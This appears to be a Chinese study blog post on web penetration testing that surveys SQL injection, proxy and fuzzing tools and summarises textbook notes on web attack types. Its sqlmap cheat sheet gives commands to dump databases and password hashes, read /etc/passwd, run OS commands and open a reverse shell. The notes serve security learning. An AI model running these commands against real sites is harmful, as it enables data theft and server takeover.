网络攻防之Web渗透
视频学习
数据库评估软件
bbqsql
bbqsql是一个Python编写的盲注工具,当检测可疑的注入漏洞时会很有用,同时bbqsql是一个半自动工具,允许客户自定参数。
DBPwAudit
DBPwAudit是一个数据库用户名和密码枚举工具。
HexorBase
图形化的密码破解与连接工具,开源。
jsql
jsql是一款轻量级安全测试工具,可以探测SQL注入漏洞,它跨平台,开源免费,将存在注入漏洞的URL贴进来即可进行漏洞利用,图形化界面亲民,但使用效果有待提高。
MDBTools
包括一下几个子工具,具体情况具体分析使用:
- mdb-export
- mdb-hexdump
- mdb-parsecsv
- mdb-sql
- mdb-tables
Oracle Scanner
该工具是一个Java开发的Oracle评估工具,它是基于插件结构的,当前有两个插件可以做:
- Sid列举
- 口令测试
- 列举Oracle版本
- 列举账号角色
- 列举账号特权
- 列举账号哈希
- 列举审计信息
- 列举口令策略
- 列举数据库链接
SidGusser
同样是针对Oracle的SID连接暴力枚举的工具,SID为Oracle实例化,Oracle连接字符串,通过实例名+用户+密码连接。
tnscmd10g
允许用户向Oracle数据库中注入命令执行。
sqlsus
它是一个开放源代码的MySQL注入和接管工具,sqlsus使用perl编写,基于命令行界面。sqlsus可以获取数据库结构,注入自己的sql语句,从服务器下载文件,爬行web站点可写目录,上传和控制后面人,克隆数据库等等。最好用的两点是注射获取数据的速度非常快,另外一个最大的特点是自动搜索可写目录。首先得生成配置文件sqlsus -g test.conf
,然后对配置文件进行修改;接着使用sqlsus test.conf
进行注入。
sqlninja
在sql注入方面一直尊sqlmap为神奇,但sqlninja也有自己的特点。
sqlninja是一款perl语言编写的一个专门针对MSQSQL的注入工具。和市面上其他注入工具不同,sqlninja没有花费精力再跑数据库上,而专注于获取一个shell,其优点如下:
- 一个专门针对MSSQL的注入工具;
- 可找到元辰sql服务器上的标志和特征;
- sa口令的强力攻击;
- 一旦找到sa口令,即可将权限提升到sa;
- 如果原始xp_cmdshell被禁用,会立刻创建一个可运行的xp_cmdshell;
等等。
sqlmap
sqlmap是一个开源的漏洞测试工具,它主要用于自动化地侦测和实施SQL注入攻击以及渗透数据库服务器。SQLMAP配有强大的侦测引擎,适用于高级渗透测试用户,不仅可以获得不同数据库的指纹信息,还可以从数据库中提取数据,此外还能够处理潜在的文件系统以及通过带外数据连接执行系统命令等。
sqlmap常用命令:
sqlmap -u "http://url/news?id=1" –current-user #获取当前用户名称
sqlmap -u "http://www.xxoo.com/news?id=1" –current-db #获取当前数据库名称
sqlmap -u "http://www.xxoo.com/news?id=1" –tables -D "db_name" #列表名
sqlmap -u "http://url/news?id=1" –columns -T "tablename" users-D "db_name" -v 0 #列字段
sqlmap -u "http://url/news?id=1" –dump -C "column_name" -T "table_name" -D "db_name" -v 0 #获取字段内容
sqlmap -u "http://url/news?id=1" –smart –level 3 –users # smart智能 level 执行测试等级
sqlmap -u "http://url/news?id=1" –dbms "Mysql" –users # dbms 指定数据库类型
sqlmap -u "http://url/news?id=1" –users #列数据库用户
sqlmap -u "http://url/news?id=1" –dbs#列数据库
sqlmap -u "http://url/news?id=1" –passwords #数据库用户密码
sqlmap -u "http://url/news?id=1" –passwords-U root -v 0 #列出指定用户数据库密码
sqlmap -u "http://url/news?id=1" –dump -C "password,user,id" -T "tablename" -D "db_name" –start 1 –stop 20 #列出指定字段,列出20条
sqlmap -u "http://url/news?id=1" –dump-all -v 0 #列出所有数据库所有表
sqlmap -u "http://url/news?id=1" –privileges #查看权限
sqlmap -u "http://url/news?id=1" –privileges -U root #查看指定用户权限
sqlmap -u "http://url/news?id=1" –is-dba -v 1 #是否是数据库管理员
sqlmap -u "http://url/news?id=1" –roles #枚举数据库用户角色
sqlmap -u "http://url/news?id=1" –udf-inject #导入用户自定义函数(获取系统权限!)
sqlmap -u "http://url/news?id=1" –dump-all –exclude-sysdbs -v 0 #列出当前库所有表
sqlmap -u "http://url/news?id=1" –union-cols #union 查询表记录
sqlmap -u "http://url/news?id=1" –cookie "COOKIE_VALUE" #cookie注入
sqlmap -u "http://url/news?id=1" -b #获取banner信息
sqlmap -u "http://url/news?id=1" –data "id=3" #post注入
sqlmap -u "http://url/news?id=1" -v 1 -f #指纹判别数据库类型
sqlmap -u "http://url/news?id=1" –proxy"http://127.0.0.1:8118" #代理注入
sqlmap -u "http://url/news?id=1″–string”STRING_ON_TRUE_PAGE" #指定关键词
sqlmap -u "http://url/news?id=1" –sql-shell #执行指定sql命令
sqlmap -u "http://url/news?id=1" –file /etc/passwd python sqlmap/sqlmap.py -u "http://url/news?id=1" –os-cmd=whoami #执行系统命令
sqlmap -u "http://url/news?id=1" –os-shell #系统交互shell
sqlmap -u "http://url/news?id=1" –os-pwn #反弹shell
sqlmap -u "http://url/news?id=1" –reg-read #读取win系统注册表
sqlmap -u "http://url/news?id=1" –dbs-o "sqlmap.log" #保存进度
sqlmap -u "http://url/news?id=1" –dbs -o "sqlmap.log" –resume #恢复已保存进度
sqlmap -g "google语法" –dump-all –batch #google搜索注入点自动 跑出所有字段攻击实例
sqlmap -u "http://url/news?id=1&Submit=Submit" –cookie="PHPSESSID=41aa833e6d0d28f489ff1ab5a7531406" –string="Surname" –dbms=mysql –users –password
web应用代理
通过应用代理分析数据包,或修改数据包重放、暴力攻击等安全测试中经常用到。
vega
vega是一个开放源代码的web应用程序安全测试平台,Vega能够帮助用户验证sql注入、跨站脚本、敏感信息泄露和其他一些安全漏洞,Vega使用java编写,有GUI,可以在Linux、OS X和Windows上运行,vega类似于怕肉丝 proxy等。
webscarab
该软件是一款代理软件,包括HTTP代理,网络爬虫、网络蜘蛛,会话ID分析,自动脚本接口。模糊测试工具,WEB格式的编码/解码,web服务描述语言和soap解析器等功能模块,它基于GNU协议使用java编写,是Webgoat中使用的工具之一。
paros
paros proxy 是一个对web应用程序的漏洞进行评估的代理程序,即一个基于java的web代理程序,可以评估web应用程序漏洞。它支持动态地编辑/查看http/https,从而改变cookie和表单字段等项目;它包括一个web通信记录程序,web全套程序,hash计算器,还有一个可以测试常见的web应用程序攻击的扫描器。该工具检查漏洞形式包括:
- SQL注入
- XSS
- 目录遍历
等。
burpsuite
burpsuite是用于攻击web应用程序的处理平台,它也是一个代理,通过默认端口8080运行。使用这个代理,我们可以截获和修改从客户端到web应用程序的数据包。它包含了一系列burp工具,这些工具之间有大量接口可以互相通信,这样设计的目的是为了促进和提高真个攻击效率。平台中所有工具共享同一robust框架,以便统一处理HTTP请求,持久性,认证,上游代理,日志记录,报警和可扩展性。
burpsuite允许攻击者结合手工和自动技术去枚举、分析、攻击web应用程序。这些不同的burp工具通过协同工作,有效的分享信息,支持一某种工具中的信息为基础供另一种工具使用的方式发起攻击。
fuzz工具集
bed
bed(bruteforce exploit dectector)是一个纯文本协议的Fuzz工具,能够检查常见的漏洞,如缓冲区溢出,格式串漏洞,整数溢出等。
fuzz_ipv6
THC出品的针对IPv6协议的模糊测试工具。
wfuzz
针对web应用的模糊测试工具 ,可以进行web;应用暴力破解,也支持对网站目录、登录信息、应用资源文件等的暴力猜解,还可以进行get和post参数的猜解,sql注入、xss漏洞的测试等。该工具所有功能都依赖于字典。
xsser
主要是对一个页面或一个点进行测试,看是否存在xss漏洞。
教材学习
web应用体系结构
- 浏览器
- Web服务器
- Web应用程序
- 数据库
- 传输协议
web应用安全威胁
- 针对浏览器和终端用户的Web浏览器安全威胁
- 针对传输网络的网络协议安全威胁
- 系统层安全威胁
- Web服务器软件安全威胁
- Web应用程序安全威胁
- Web数据安全威胁
攻击web服务器软件的方式:
- 数据驱动的远程代码执行安全漏洞
- 服务器功能扩展模块漏洞
- 样本文件安全漏洞
- 源代码泄露
- 资源解析漏洞
攻击web应用程序
- 针对认证机制的攻击
- 授权机制的攻击
- 客户端攻击
- 命令执行攻击
- 信息暴露
- 逻辑攻击
攻击web数据内容
- 安全敏感数据泄露
- 网站篡改
- 不良信息内容上传
SQL注入的攻击步骤和过程
- 发现SQL注入点
- 判断后台数据库类型
- 后台数据库中管理员用户口令猜解
- 上传ASP后门,得到默认账户权限
- 本地权限提升
- 利用数据库扩展存储过程执行Shell命令
web浏览器软件的安全困境三要素:复杂性、可扩展性、连通性方面。
网页挂马策略:
- 内嵌HTML标签
- 恶意Script脚本
- 内嵌对象链接
- ARP欺骗挂马